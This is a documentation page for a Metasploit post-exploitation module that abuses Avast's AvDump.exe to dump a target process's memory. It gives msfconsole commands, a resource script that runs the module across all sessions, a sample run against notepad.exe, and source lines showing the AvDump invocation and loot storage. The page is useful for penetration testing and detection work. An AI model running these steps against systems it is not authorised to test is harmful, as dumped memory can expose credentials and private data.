Avast AV Memory Dumping Utility - Metasploit


This page contains detailed information about how to use the post/windows/gather/avast_memory_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Avast AV Memory Dumping Utility
Module: post/windows/gather/avast_memory_dump
Source code: modules/post/windows/gather/avast_memory_dump.rb
Disclosure date: -
Last modification time: 2021-05-13 04:01:03 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module leverages an Avast Anti-Virus memory dump utility that is shipped by default with Avast Anti-Virus Home software suite.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/avast_memory_dump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/avast_memory_dump
msf post(avast_memory_dump) > show options
    ... show and set options ...
msf post(avast_memory_dump) > set SESSION session-id
msf post(avast_memory_dump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/avast_memory_dump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

  • PID: specify pid to dump

Knowledge Base

Vulnerable Application - Avast Home Security Suite - Avdump.exe

The Avast Home Security suite ships with a memory dumping utility that can be leveraged to dump process memory of user defined processes to user defined locations.

A detailed write up can be found at https://archcloudlabs.com/projects/dumping-memory-with-av/

Verification Steps

Verify that the path C:\\Program Files\\Avast Software Avast\\AvDump.exe exists. 1. Start msfconsole 2. Get meterpreter session 3. Do: use post/windows/gather/avast_memory_dump 4. Do: set SESSION <session id> 5. Do: set DUMP_PATH <specify path dest> 6. Do: set PID <pid> 7. Do: run

Options

PID Specify the PID of the process you would like to dump.

DUMP_PATH Specify the location to write the memory dump to.

Scenarios

Windows 10 (2004 OS Build 19041.572)

msf5 > search avast

Matching Modules
================

   #  Name                                   Disclosure Date  Rank    Check  Description
   -  ----                                   ---------------  ----    -----  -----------
   0  post/windows/gather/avast_memory_dump                   normal  No     Avast AV Memory Dumping Utility


msf5 > use 0

msf5 post(windows/gather/avast_memory_dump) > sessions -C 'ps -N notepad.exe'
[*] Running 'ps -N notepad.exe' on meterpreter session 4 (192.168.218.131)
Filtering on 'notepad.exe'

Process List
============

 PID   PPID  Name         Arch  Session  User                  Path
 ---   ----  ----         ----  -------  ----                  ----
 8504  1812  notepad.exe  x64   1        DESKTOP-CD2VHVO\user  C:\Windows\System32\notepad.exe

msf5 post(windows/gather/avast_memory_dump) > show options

Module options (post/windows/gather/avast_memory_dump):

   Name       Current Setting           Required  Description
   ----       ---------------           --------  -----------
   DUMP_PATH  C:\Users\Public\test.dmp  yes       specify location to write dump file to
   PID        8504                      yes       specify pid to dump
   SESSION    4                         yes       The session to run this module on.

msf5 post(windows/gather/avast_memory_dump) > set PID 8504
PID => 8504

msf5 post(windows/gather/avast_memory_dump) > set SESSION 4
SESSION => 4

msf5 post(windows/gather/avast_memory_dump) > run

[*] [2020.10.21-22:49:24] AvDump.exe exists!
[*] [2020.10.21-22:49:24] executing Avast mem dump utility against 8504 to C:\Users\Public\test.dmp
[*] [2020.10.21-22:49:29] [2020-10-22 02:49:26.969] [info   ] [dump       ] [ 1400: 8032] Dumpmaster is arming.
[2020-10-22 02:49:27.047] [info   ] [dump       ] [ 1400: 8032] Successfully dumped process 8504 into 'C:\Users\Public\test.dmp'
[2020-10-22 02:49:27.047] [info   ] [log_module ] [ 1400: 8032] LogModule is going to be destroyed.
[2020-10-22 02:49:27.047] [info   ] [log_module ] [ 1400: 8032] =====================================================================================================================
[*] Post module execution completed

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Msfconsole Usage

Here is how the windows/gather/avast_memory_dump post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/avast_memory_dump

msf6 post(windows/gather/avast_memory_dump) > show info

       Name: Avast AV Memory Dumping Utility
     Module: post/windows/gather/avast_memory_dump
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  DLL_Cool_J

Compatible session types:
  Meterpreter

Basic options:
  Name       Current Setting          Required  Description
  ----       ---------------          --------  -----------
  DUMP_PATH  C:\Users\Public\tmp.dmp  yes       specify location to write dump file to
  PID                                 yes       specify pid to dump
  SESSION                             yes       The session to run this module on.

Description:
  This module leverages an Avast Anti-Virus memory dump utility that 
  is shipped by default with Avast Anti-Virus Home software suite.

Module Options

This is a complete list of options available in the windows/gather/avast_memory_dump post exploitation module:

msf6 post(windows/gather/avast_memory_dump) > show options

Module options (post/windows/gather/avast_memory_dump):

   Name       Current Setting          Required  Description
   ----       ---------------          --------  -----------
   DUMP_PATH  C:\Users\Public\tmp.dmp  yes       specify location to write dump file to
   PID                                 yes       specify pid to dump
   SESSION                             yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/avast_memory_dump post exploitation module:

msf6 post(windows/gather/avast_memory_dump) > show advanced

Module advanced options (post/windows/gather/avast_memory_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/avast_memory_dump module can do:

msf6 post(windows/gather/avast_memory_dump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/avast_memory_dump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/avast_memory_dump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

AvDump.exe does not exist on target.

Here is a relevant code snippet related to the "AvDump.exe does not exist on target." error message:

46:	      end
47:	    end
48:	  end
49:	
50:	  def run
51:	    fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump
52:	    print_status('AvDump.exe exists!')
53:	
54:	    dump_path = datastore['DUMP_PATH']
55:	    pid = datastore['PID'].to_s
56:

Dump file <DUMP_PATH> was not created

Here is a relevant code snippet related to the "Dump file <DUMP_PATH> was not created" error message:

55:	    pid = datastore['PID'].to_s
56:	
57:	    print_status("Executing Avast memory dumping utility (#{avdump}) against pid #{pid} writing to #{dump_path}")
58:	    result = cmd_exec("#{avdump} --pid #{pid} --exception_ptr 0 --thread_id 0 --dump_file \"#{dump_path}\" --min_interval 0")
59:	
60:	    fail_with(Failure::Unknown, "Dump file #{dump_path} was not created") unless file_exist?(dump_path)
61:	    print_status(dump_path)
62:	    mem_file = read_file(dump_path)
63:	    store_loot('host.avast.memdump', 'binary/db', session, mem_file)
64:	
65:	    print_status(result)

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See Also

Check also the following modules related to this module:

Authors

  • DLL_Cool_J

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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